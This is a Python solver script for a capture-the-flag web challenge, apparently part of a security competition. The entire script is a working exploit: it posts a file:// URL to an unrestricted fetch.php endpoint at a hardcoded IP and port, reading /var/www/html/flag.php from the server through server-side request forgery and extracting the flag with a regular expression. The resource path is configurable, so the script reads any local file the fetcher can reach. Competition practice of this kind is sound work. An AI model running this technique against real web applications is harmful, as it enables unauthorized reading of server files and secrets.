#!/usr/bin/env python3 """Deterministic solver for Rise The Ranger's Cloud Connector challenge.""" from __future__ import annotations import argparse import html import re import sys import urllib.error import urllib.parse import urllib.request DEFAULT_BASE_URL = "http://45.92.158.64:29584/" DEFAULT_RESOURCE = "file:///var/www/html/flag.php" FLAG_RE = re.compile(r"RTRTNI26\{[^{}\r\n]{1,256}\}") def fetch_flag(base_url: str, resource: str, timeout: float) -> str: parsed = urllib.parse.urlsplit(base_url) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise ValueError("target must be an absolute http(s) URL") if parsed.path.rstrip("/").endswith("/fetch.php"): endpoint = base_url else: endpoint = base_url.rstrip("/") + "/fetch.php" body = urllib.parse.urlencode({"url": resource}).encode() request = urllib.request.Request( endpoint, data=body, headers={ "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "RTR2-Cloud-Connector-Solver/1.0", }, method="POST", ) try: with urllib.request.urlopen(request, timeout=timeout) as response: rendered = response.read().decode("utf-8", "replace") except urllib.error.URLError as exc: raise RuntimeError(f"request to {endpoint} failed: {exc}") from exc decoded = html.unescape(rendered) match = FLAG_RE.search(decoded) if not match: status = re.search( r"(?:Berhasil fetch\.[^<]*|Gagal mengambil URL\.[^<]*)", decoded ) detail = status.group(0).strip() if status else "no fetch status found" raise RuntimeError(f"flag was not present in the response ({detail})") return match.group(0) def main() -> int: parser = argparse.ArgumentParser( description="Read the HTTP-blocked flag source through the unrestricted URL fetcher." ) parser.add_argument( "target", nargs="?", default=DEFAULT_BASE_URL, help=f"challenge base URL or fetch.php URL (default: {DEFAULT_BASE_URL})", ) parser.add_argument( "--resource", default=DEFAULT_RESOURCE, help=f"PHP stream resource to fetch (default: {DEFAULT_RESOURCE})", ) parser.add_argument("--timeout", type=float, default=15.0) args = parser.parse_args() try: print(fetch_flag(args.target, args.resource, args.timeout)) except (RuntimeError, ValueError) as exc: print(f"error: {exc}", file=sys.stderr) return 1 return 0 if __name__ == "__main__": raise SystemExit(main())